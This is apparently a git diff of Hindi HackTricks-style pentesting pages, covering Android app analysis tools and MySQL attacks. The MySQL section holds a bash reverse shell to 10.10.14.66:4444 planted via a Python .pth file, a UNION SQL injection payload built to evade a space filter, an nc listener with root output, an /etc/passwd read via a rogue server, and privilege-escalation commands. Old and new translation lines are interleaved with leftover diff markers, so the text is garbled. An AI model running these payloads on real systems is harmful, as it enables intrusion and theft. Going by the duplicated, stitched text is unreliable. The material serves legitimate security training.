- **Capture Strings**: यह application उपयोग करते समय मिलने वाली सभी capture strings को प्रिंट करेगा (काफी noisy)
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह **show the 2 strings being compared** करेगा और बताएगा कि result True था या False
- **Enumerate Class Methods**: क्लास का नाम डालें (जैसे "java.io.File") और यह उस क्लास के सभी methods को प्रिंट करेगा।
- **Search Class Pattern**: pattern से classes खोजें
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). याद रखें कि default में MobSF कई दिलचस्प Android Api methods को trace करता है।
- **Enumerate Loaded Classes**: यह सभी loaded classes को print करेगा
- **Capture Strings**: एप्लिकेशन उपयोग करते समय यह सभी captured strings को print करेगा (super noisy)
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह तुलना की जा रही 2 strings दिखाएगा और परिणाम True था या False था
- **Enumerate Class Methods**: क्लास नाम डालें (जैसे "java.io.File") और यह उस क्लास के सभी methods print करेगा।
- **Search Class Pattern**: पैटर्न से classes खोजें
- **Trace Class Methods**: किसी पूरे क्लास को **Trace** करें (क्लास के सभी methods के inputs और outputs देखें)। ध्यान रखें कि डिफ़ॉल्ट रूप से MobSF कई उपयोगी Android Api methods को trace करता है।
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
एक बार जब आप जिस auxiliary module को उपयोग करना चाहते हैं उसे select कर लेते हैं, तो आपको "**Start Intrumentation**" दबाना होगा और आप सभी outputs "**Frida Live Logs**" में देखेंगे।
**Shell**
Mobsf dynamic analysis पेज के नीचे कुछ **adb** commands, **MobSF commands**, और सामान्य **shell** **commands** के साथ एक shell भी देता है। कुछ रोचक commands:
MobSF आपको dynamic analysis पेज के निचले हिस्से में कुछ **adb** commands, **MobSF commands**, और सामान्य **shell** **commands** के साथ एक shell भी देता है। कुछ दिलचस्प commands:
```bash
help
shell ls
@ -650,12 +652,12 @@ exported_activities
services
receivers
```
**HTTP उपकरण**
**HTTP टूल्स**
जब HTTP ट्रैफ़िक कैप्चर होता है, आप कैप्चर किए गए ट्रैफ़िक का एक बदसूरत व्यू "**HTTP(S) Traffic**" बटन में देख सकते हैं या एक बेहतर व्यू "**Start HTTPTools**" हरे बटन में। दूसरे विकल्प से, आप **कैप्चर किए हुए अनुरोध** को **proxies** जैसे Burp या Owasp ZAP को **भेज** सकते हैं.\
ऐसा करने के लिए, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
When HTTP ट्रैफिक is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF के साथ dynamic analysis पूरा करने के बाद आप "**Start Web API Fuzzer**" दबाकर **fuzz http requests** कर सकते हैं और कमजोरियों की तलाश कर सकते हैं।
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
> [!TIP]
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
@ -671,13 +673,13 @@ This tool with use some **Hooks** to let you know **what is happening in the app
### [Yaazhini](https://www.vegabird.com/yaazhini/)
यह GUI के साथ static analysis करने के लिए एक शानदार tool है
This is a **great tool to perform static analysis with a GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
यह tool कई **security related Android application vulnerabilities** की खोज के लिए बनाया गया है, चाहे वो **source code** में हों या **packaged APKs** में। यह tool **capable of creating a "Proof-of-Concept" deployable APK** और **ADB commands** भी बनाने में सक्षम है, ताकि पाए गए कुछ vulnerabilities (Exposed activities, intents, tapjacking...) का exploit किया जा सके। Drozer की तरह, टेस्ट डिवाइस को root करने की आवश्यकता नहीं है।
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -686,10 +688,10 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- संदर्भ के लिए सभी निकाली गई फ़ाइलें दिखाता है
- APK फ़ाइलों को स्वचालित रूप से Java और Smali फॉर्मेट में decompile करता है
- सामान्य vulnerabilities और व्यवहार के लिए AndroidManifest.xml का विश्लेषण करता है
- सामान्य vulnerabilities और व्यवहार के लिए Static source code analysis करता है
- सभी निकाली गई फ़ाइलें आसान संदर्भ के लिए दिखाता है
- APK फ़ाइलों को स्वचालित रूप से Java और Smali फॉर्मेट में decompile करता है
- AndroidManifest.xml का विश्लेषण करता है सामान्य vulnerabilities और व्यवहार के लिए
- Static source code analysis (सामान्य vulnerabilities और व्यवहार के लिए)
- डिवाइस जानकारी
- और भी
```bash
@ -697,11 +699,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER एक command-line application है जिसे Windows, MacOS X और Linux पर इस्तेमाल किया जा सकता है, जो कमजोरियों की तलाश में _.apk_ फ़ाइलों का विश्लेषण करता है। यह APKs को decompress करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके यह काम करता है।
SUPER एक कमांड-लाइन एप्लीकेशन है जिसे Windows, MacOS X और Linux पर चलाया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करके कमजोरियों की खोज करता है। यह APKs को decompress करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
सभी नियम `rules.json` फ़ाइल में केंद्रीकृत हैं, और प्रत्येक कंपनी या tester अपनी ज़रूरत के अनुसार अपने नियम बना सकती/बना सकता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या tester अपनी आवश्यकताओं के अनुसार अपने नियम बना सकती है।
नवीनतम binaries को [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें
नवीनतम बाइनरीज़ [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें
```
super-analyzer {apk_file}
```
@ -709,17 +711,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** टूल है जो मोबाइल एप्लिकेशनों पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने वाले डेवलपर्स, bugbounty hunters और ethical hackers की मदद करता है।
StaCoAn एक **crossplatform** टूल है जो developers, bugbounty hunters और ethical hackers को मोबाइल एप्लिकेशन पर [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है।
आइडिया यह है कि आप अपनी मोबाइल एप्लिकेशन फ़ाइल (.apk या .ipa फ़ाइल) को StaCoAn एप्लिकेशन पर ड्रैग और ड्रॉप करें और यह आपके लिए एक विज़ुअल और पोर्टेबल रिपोर्ट जेनरेट करेगा। आप सेटिंग्स और wordlists को समायोजित करके एक कस्टमाइज़्ड अनुभव प्राप्त कर सकते हैं।
कोन्सेप्ट यह है कि आप अपनी मोबाइल एप्लिकेशन फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn application पर drag and drop करें और यह आपके लिए एक visual और portable report जनरेट करेगा। आप settings और wordlists को tweak करके एक customized अनुभव पा सकते हैं।
डाउनलोड[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework एक Android vulnerability analysis system है जो डेवलपर्स या hackers को Android applications में संभावित security vulnerabilities खोजने में मदद करता है।\
AndroBugs Framework एक Android vulnerability analysis सिस्टम है जो developers या hackers को Android applications में संभावित security vulnerabilities खोजने में मदद करता है।\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +729,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य Android application द्वारा विकसित संभावित हानिकारक व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है।
**Androwarn** एक ऐसा टूल है जिसका मुख्य उद्देश्य उपयोगकर्ता को किसी Android application द्वारा विकसित संभावित हानिकारक व्यवहारों के बरे में पता लगाना और चेतावनी देना है।
यह पता application's Dalvik bytecode के **static analysis** के माध्यम से लगाया जाता है, जिसे **Smali** के रूप में प्रतिनिधित्व किया गया है, और इसके लिए [`androguard`](https://github.com/androguard/androguard) लाइब्रेरी का उपयोग किया जाता है।
डिटेक्शन ऐप्लिकेशन के Dalvik bytecode की **static analysis** के माध्यम से किया जाता है, जो **Smali** के रूप में प्रस्तुत होता है, और [`androguard`](https://github.com/androguard/androguard) लाइब्रेरी का उपयोग कता है।
यह टूल **common behavior of "bad" applications** जैसी चीज़ों को ढूँढता है: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
यह टूल निम्नलिखित जैसी चीज़ों के लिए **common behavior of "bad" applications** को खोजता है: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,60 +741,60 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. यह एक ऐसा टूल है जो सामान्यतः उपयोग होने वाले mobile application reverse engineering और analysis tools को एकत्र करता है, ताकि OWASP mobile security threats के खिलाफ mobile applications के परीक्षण में मदद मिल सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य आसान और अधिक अनुकूल बनाना है।
**MARA** एक **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework है। यह एक टूल है जो सामान्यतः उपयोग किए जाने वाले mobile application reverse engineering और analysis tools को एक साथ रखता है, ताकि OWASP mobile security threats के खिलाफ mobile applications का परीक्षण करना आसान हो सके। इसका उद्देश्य mobile application developers और security professionals के लिए यह कार्य आसान और अधिक मित्रवत बनाना है।
It is able to:
यह सक्षम है:
- विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना
- APKs का विश्लेषण करने के लिए उपयोग करें: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- regexps का उपयोग करके APK से निजी जानकारी निकालना
- विभिन्न tools का उपयोग करके Java और Smali code निकालना
- APKs का विश्लेषण करना using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- regexps का उपयोग करके APK से private information निकालना
- Manifest का विश्लेषण करना
- पाए गए domains का विश्लेषण करने के लिए उपयोग करें: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK को [apk-deguard.com](http://www.apk-deguard.com) के माध्यम से Deobfuscate करना
- पाये गए domains का विश्लेषण करना using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK को Deobfuscate करना via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com/)
malware का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
ध्यान दें कि आप जिस service और configuration का उपयोग करके code को obfuscate करते हैं, उसके अनुसार secrets obfuscated हो सकते हैं या नहीं भी हो सकते हैं
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं कोड को obfuscate करने के लिए, उसके अनुसार Secrets obfuscated हो सकती हैं या नहीं भी
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक open source command-line tool है जो Java code को shrink, optimize और obfuscate करता है। यह bytecode को optimize करने के साथ-साथ unused instructions का पता लगा कर उन्हें हटा भी सकता है। ProGuard free software है और GNU General Public License, version 2 के तहत वितरित होता है।
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक open source command-line tool है जो Java code को shrink, optimize और obfuscate करता है। यह bytecode को optimize करने के साथ-साथ unused instructions को detect और remove करने में सक्षम है। ProGuard free software है और GNU General Public License, version 2 के तहत वितरित किया जाता है।
ProGuard Android SDK का हिस्सा के रूप में वितरित होता है और application को release mode में build करते समय चलता है।
ProGuard Android SDK के हिस्से के रूप में वितरित होता है और release mode में application build करने पर चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard)
Deobfuscate करने के लिए step-by-step guide देखें: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Deobfuscate करने के लिए चरण-दर-चरण गाइड यहाँ पढ़ें: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(उस गाइड से) Last time we checked, the Dexguard mode of operation was:
(From that guide) जब हमने आख़िरी बार जाँच की थी, Dexguard का mode of operation इस प्रकार था:
- एक resource को InputStream के रूप में load करना;
- परिणाम को FilterInputStream से विरासत में ली गई एक class को feed करना ताकि इसे decrypt किया जा सके;
- reverser का थोड़ा समय बर्बाद करने के लिए कुछ बेकार obfuscation करना;
- decrypted परिणाम को ZipInputStream को feed करना ताकि एक DEX file मिले;
- अंत में प्राप्त DEX को Resource के रूप में `loadDex` method का उपयोग करके लोड करना
- एक resource को InputStream के रूप में load करें;
- परिणाम को decrypt करने के लिए FilterInputStream से inherit करने वाली एक class को feed करें;
- reverser का कुछ समय बर्बाद करने के लिए कुछ बेकार obfuscation करें;
- decrypted परिणाम को ZipInputStream में feed करें ताकि एक DEX file मिल सके;
- अंत में resulting DEX को Resource के रूप में `loadDex` method का उपयोग करके load करें
### [DeGuard](http://apk-deguard.com)
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
**DeGuard उन Android obfuscation tools द्वारा किए गए obfuscation की प्रक्रिया को reverse करता है। यह कई security analyses को सक्षम बनाता है, जिसमें code inspection और libraries की prediction शामिल हैं।**
आप obfuscated APK को उनके platform पर upload कर सकते हैं।
आप एक obfuscated APK को उनके platform पर upload कर सकते हैं।
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
यह एक LLM tool है जो android apps में संभावित security vulnerabilities खोजने और android app code को deobfuscate करने के लिए है। Google के Gemini public API का उपयोग करता है।
यह एक LLM tool है जो android apps में किसी भी potential security vulnerabilities को खोजने और android app code को deobfuscate करने में मदद करता है। यह Google's Gemini public API का उपयोग करता है।
### [Simplify](https://github.com/CalebFenton/simplify)
It is a **generic android deobfuscator.** Simplify एक app को **virtually execute** करता है ताकि उसके व्यवहार को समझा जा सके और फिर **tries to optimize the code** ताकि वह identical व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक optimization type simple और generic है, इसलिए यह मायने नहीं रखता कि किस specific प्रकार का obfuscation उपयोग किया गया है
यह एक generic android deobfuscator है। Simplify virtually executes एक app ताकि उसके व्यवहार को समझा जा सके और फिर code को optimize करने की कोशिश करता है ताकि वह identical व्यवहार करे पर इंसान के लिए समझने में आसान हो। प्रत्येक optimization प्रकार simple और generic है, इसलिए यह मायने नहीं रखता कि किस specific प्रकार की obfuscation का उपयोग किया गया था
### [APKiD](https://github.com/rednaga/APKiD)
APKiD आपको यह जानकारी देता है कि **how an APK was made**. यह कई **compilers**, **packers**, **obfuscators**, और अन्य अजीब चीज़ों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) है।
APKiD आपको यह जानकारी देता है कि किसी APK को कैसे बनाया गया था। यह कई compilers, packers, obfuscators और अन्य अजीब चीज़ों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) की तरह है।
### Manual
@ -802,12 +804,12 @@ APKiD आपको यह जानकारी देता है कि **how
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें विभिन्न security geeks और researchers द्वारा reverse engineering और malware analysis के लिए नवीनतम framework, tutorials और labs का संग्रह शामिल है।
AndroL4b एक Android security virtual machine है जो ubuntu-mate पर आधारित है और इसमें reverse engineering और malware analysis के लिए नवीनतम frameworks, tutorials और labs का संग्रह शामिल है।
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) यह resources की एक बेहतरीन सूची है
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) यह resources की एक शानदार सूची है
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)

View File

@ -4,7 +4,7 @@
## **बुनियादी जानकारी**
**MySQL** को एक खुला स्रोत (open source) **Relational Database Management System (RDBMS)**ा जा सकता है जो नि:शुल्क उपलब्ध है। यह **Structured Query Language (SQL)** पर कार्य करता है, जो डेटाबेस के प्रबंधन और हेरफेर को सक्षम बनाता है।
**MySQL** को एक open source **Relational Database Management System (RDBMS)**े रूप में वर्णित किया जा सकता है जो नि:शुल्क उपलब्ध है। यह **Structured Query Language (SQL)** पर चलता है, जो डेटाबेस के प्रबंधन और हेरफेर की सुविधा प्रदान करता है।
**डिफ़ॉल्ट पोर्ट:** 3306
```
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## External Enumeration
कुछ enumeration क्रियाओं के लिए वैध credentials आवश्यक हैं।
कुछ enumeration actions के लिए मान्य credentials आवश्यक होते हैं।
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### किसी भी बाइनरी डेटा को लिखें
### कोई भी बाइनरी डेटा लिखें
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL अनुमतियों का अनुक्रमण
### MySQL अनुमतियों की सूची
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -112,33 +112,33 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
classic `INTO OUTFILE` primitive का दुरुपयोग करके उन टार्गेट्स पर जहाँ बाद में **Python** scripts चलती हैं, *arbitrary code execution* प्राप्त किया जा सकता है।
क्लासिक `INTO OUTFILE` primitive का दुरुपयोग करके उन लक्ष्यों पर जिनपर बाद में **Python** scripts चलती हैं, arbitrary code execution प्राप्त करना संभव है।
1. `INTO OUTFILE` का उपयोग करके किसी भी directory में एक कस्टम **`.pth`** फ़ाइल डालें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (उदा. `.../lib/python3.10/site-packages/`)।
2. `.pth` फ़ाइल में `import ` से शुरू होने वाली *एक ही लाइन* हो सकती है, जिसके बाद arbitrary Python code होगा जो interpreter के प्रत्येक स्टार्ट पर निष्पादित होगा।
3. जब interpreter किसी CGI script द्वारा implicitly execute किया जाता है (उदा. `/cgi-bin/ml-draw.py` जिसमें shebang `#!/bin/python` है), तो payload उसी privileges के साथ execute होता है जो web-server process के हैं (FortiWeb ने इसे **root** के रूप में चलाया → full pre-auth RCE)।
2. `.pth` फ़ाइल में एक *single line* हो सकती है जो `import ` से शुरू होती है और उसके बाद arbitrary Python code आता है — यह प्रत्येक बार interpreter शुरू होने पर executed होगा।
3. जब interpreter को किसी CGI script के माध्यम से implicitly execute किया जाता है (उदा. `/cgi-bin/ml-draw.py` जिसमें shebang `#!/bin/python` है) तो payload वेब-सर्वर प्रक्रिया के समान privileges के साथ executed होगा (FortiWeb ने इसे **root** के रूप में चलाया → full pre-auth RCE)।
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
Example `.pth` payload (single line, final SQL payload में कोई spaces शामिल नहीं हो सकते, इसलिए hex/`UNHEX()` या string concatenation की आवश्यकता हो सकती है):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
उदाहरण: फ़ाइल को **UNION** query के माध्यम से तैयार करने का उदाहरण (space characters को `/**/` से बदला गया है ताकि `sscanf("%128s")` के space filter को bypass किया जा सके और कुल लंबाई ≤128 bytes बनी रहे):
एक **UNION** query के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदला गया है ताकि `sscanf("%128s")` space filter को बायपास किया जा सके और कुल लंबाई ≤128 bytes बनी रहे):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Important limitations & bypasses:
महत्वपूर्ण सीमाएँ और बायपास:
* `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित नहीं कर सकता**; एक नया फ़ाइलनाम चुनें.
* फ़ाइल पथ को **MySQLs CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` जोड़ने से पथ छोटा करने और absolute-path प्रतिबंधों को बायपास करने में मदद मिलती है.
* यदि attacker इनपुट `%128s` (या समान) से निकाला जाता है तो कोई भी स्पेस payload को truncate कर देगा; स्पेस की जगह MySQL comment sequences `/**/` या `/*!*/` का उपयोग करें.
* Query चलाने वाला MySQL user को `FILE` privilege की आवश्यकता होती है, लेकिन कई appliances (e.g. FortiWeb) में service **root** के रूप में चलती है, जिससे लगभग हर जगह write access मिल जाता है.
* `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित नहीं कर सकता**; नया फ़ाइलनाम चुनें.
* फ़ाइल पथ **MySQLs CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` से prefix करने पर पथ छोटा करने और absolute-path प्रतिबंधों को बायपास करने में मदद मिलती है.
* अगर attacker इनपुट `%128s` (या इसी तरह) से एक्सट्रैक्ट किया जाता है तो कोई भी space payload को truncate कर देगा; spaces की जगह MySQL comment sequences `/**/` या `/*!*/` का उपयोग करें.
* Query चलाने वाला MySQL user को `FILE` privilege चाहिए, लेकिन कई appliances (उदा. FortiWeb) में service **root** के रूप में चलती है, जिससे लगभग हर जगह write access मिल जाता है.
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
`.pth` ड्रॉप करने के बाद, किसी भी CGI को जो python interpreter द्वारा handle किया जाता है, बस request करें ताकि code execution मिल सके:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python प्रक्रिया स्वचालित रूप से दुर्भावनापूर्ण `.pth` को import करेगी और shell payload को execute करेगी
Python process स्वचालित रूप से दुर्भावनापूर्ण `.pth` import करेगा और shell payload execute करेगा
```
# Attacker
$ nc -lvnp 4444
@ -147,22 +147,24 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
वास्तव में, जब आप किसी टेबल में **load data local into a table** करने की कोशिश करते हैं, तो MySQL या MariaDB सर्वर उस **content of a file** को पढ़ने और सामग्री भेजने के लिए **client to read it** से अनुरोध करता है। **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
कृपया ध्यान दें कि यह व्यवहार निम्न का उपयोग करने पर होता है:
## MySQL क्लाइंट द्वारा मनमानी फ़ाइल पढ़ना
दरअसल, जब आप **load data local into a table** की कोशिश करते हैं, तो MySQL या MariaDB सर्वर किसी **फ़ाइल की सामग्री** को पढ़ने के लिए **client से अनुरोध करता है** और वह सामग्री भेजने को कहता है। **यदि आप किसी mysql client को छेड़छाड़ करके उसे अपने ही MySQL server से कनेक्ट करवा सकें, तो आप मनमानी फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार निम्न के साथ होता है:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(ध्यान दें कि "local" शब्द)\ क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
(ध्यान दें "local" शब्द)\
क्योंकि बिना "local" के आप पा सकते हैं:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**प्रारम्भिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण और इसे RCE तक कैसे विस्तारित किया जा सकता है देख सकते हैं:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहाँ आप हमले का अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण और इसे RCE तक विस्तारित करने का तरीका देख सकते हैं:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहाँ आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -170,23 +172,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql User
### Mysql उपयोगकर्ता
यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा हो:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf क खतरनाक सेटिंग्स
#### mysqld.cnf क खतरनाक सेटिंग्स
MySQL सेवाओं के कॉन्फ़िगरेशन में, सके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
MySQL सेवाओं के कॉन्फ़िगरेशन में, सके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स उपयोग की जाती हैं:
- **`user`** सेटिंग उस उपयोगकर्ता को निर्दिष्ट करने के लिए उपयोग की जाती है जिसके तहत MySQL सेवा चलायी जाएगी।
- **`password`** का उपयोग MySQL उपयोगकर्ता से जुड़ा पासवर्ड निर्धारित करने के लिए किया जाता है।
- **`admin_address`** प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनने वाला IP पता निर्दिष्ट करता है।
- **`debug`** वेरिएबल वर्तमान debugging कॉन्फ़िगरेशन को दर्शाता है, जिससे लॉग्स में संवेदनशील जानकारी शामिल हो सकती है।
- **`sql_warnings`** यह नियंत्रित करता है कि चेतावनियों के आने पर single-row INSERT statements के लिए सूचना स्ट्रिंग्स उत्पन्न हों या नहीं, जो लॉग्स में संवेदनशील डेटा शामिल कर सकती हैं।
- **`secure_file_priv`** के साथ, डेटा इम्पोर्ट और एक्सपोर्ट ऑपरेशनों का दायरा सीमित किया जाता है ताकि सुरक्षा बढ़ाई जा सके।
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
- **`password`** is applied for establishing the password associated with the MySQL user.
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
### Privilege escalation
```bash
@ -208,16 +210,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
यदि **mysql server is running as root** (or a different more privileged user) है, तो आप इसे कमांड्स चलाने के लिए मजबूर कर सकते हैं। इसके लिए, आपको **user defined functions** का उपयोग करना होगा। और एक user defined function बनाने के लिए आपको उस OS के लिए एक **library** चाहिए होगा जिस पर mysql चल रहा है।
